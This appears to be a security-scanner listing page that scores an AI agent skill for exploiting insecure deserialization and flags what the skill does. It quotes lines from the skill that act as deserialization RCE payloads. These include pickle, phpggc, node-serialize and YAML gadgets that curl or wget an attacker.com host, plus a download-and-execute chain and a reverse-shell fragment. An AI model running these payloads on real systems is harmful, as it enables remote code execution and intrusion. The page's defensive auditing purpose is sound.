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offensive-deserialization
54 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By SnailSploit/Claude-Red (GitHub) · coding · 10,590 stars · scanned at commit a8de813
Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces …
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: attacker.com
This is disclosed by the author in the skill's SKILL.md or README.
Found in 11 places.
Show 8 more
- Skills/web/offensive-deserialization/SKILL.md, line 172
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b - Skills/web/offensive-deserialization/SKILL.md, line 296
return (os.system, ('curl http://attacker.com/callback',)) - Skills/web/offensive-deserialization/SKILL.md, line 313
return (eval, ("__import__('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",)) - Skills/web/offensive-deserialization/SKILL.md, line 323
- "curl http://attacker.com/callback" - Skills/web/offensive-deserialization/SKILL.md, line 353
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"} - Skills/web/offensive-deserialization/SKILL.md, line 405
git_set: "curl http://attacker.com/callback" - Skills/web/offensive-deserialization/SKILL.md, line 447
return (os.system, ('curl http://attacker.com/callback',)) - Skills/web/offensive-deserialization/SKILL.md, line 503
<string>curl http://attacker.com/callback</string>
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 11 places.
Show 8 more
- Skills/web/offensive-deserialization/SKILL.md, line 165
phpggc -l # List all available chains - Skills/web/offensive-deserialization/SKILL.md, line 257
ysoserial.exe -p ViewState \ - Skills/web/offensive-deserialization/SKILL.md, line 308
'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',)) - Skills/web/offensive-deserialization/SKILL.md, line 326
!!python/object/apply:subprocess.check_output - Skills/web/offensive-deserialization/SKILL.md, line 332
grep -rn "yaml\.load\s*(" --include="*.py" /path/to/codebase - Skills/web/offensive-deserialization/SKILL.md, line 353
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"} - Skills/web/offensive-deserialization/SKILL.md, line 363
{"__js_function": "function(){return require('child_process').execSync('id').toString()}"} - Skills/web/offensive-deserialization/SKILL.md, line 475
cat payload.bin | base64 | base64 > double_encoded.txt
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Contains code that is hidden or hard to read
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'offensive-deserialization' ] || [ -L ~/.agents/skills/'offensive-deserialization' ]; then echo 'A skill folder named offensive-deserialization already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/SnailSploit/Claude-Red' "$d" && git -C "$d" checkout --quiet 'a8de813edc9f66f60d44cfe42d47750e89d9930b' -- 'Skills/web/offensive-deserialization' && mkdir -p ~/.agents/skills && cp -R "$d"/'Skills/web/offensive-deserialization' ~/.agents/skills/'offensive-deserialization' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'offensive-deserialization' ~/.claude/skills/'offensive-deserialization' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for SnailSploit/Claude-Red shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/SnailSploit/Claude-Red/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | a8de813 | 54 |
| 2026-11-07 | a8de813 | 54 |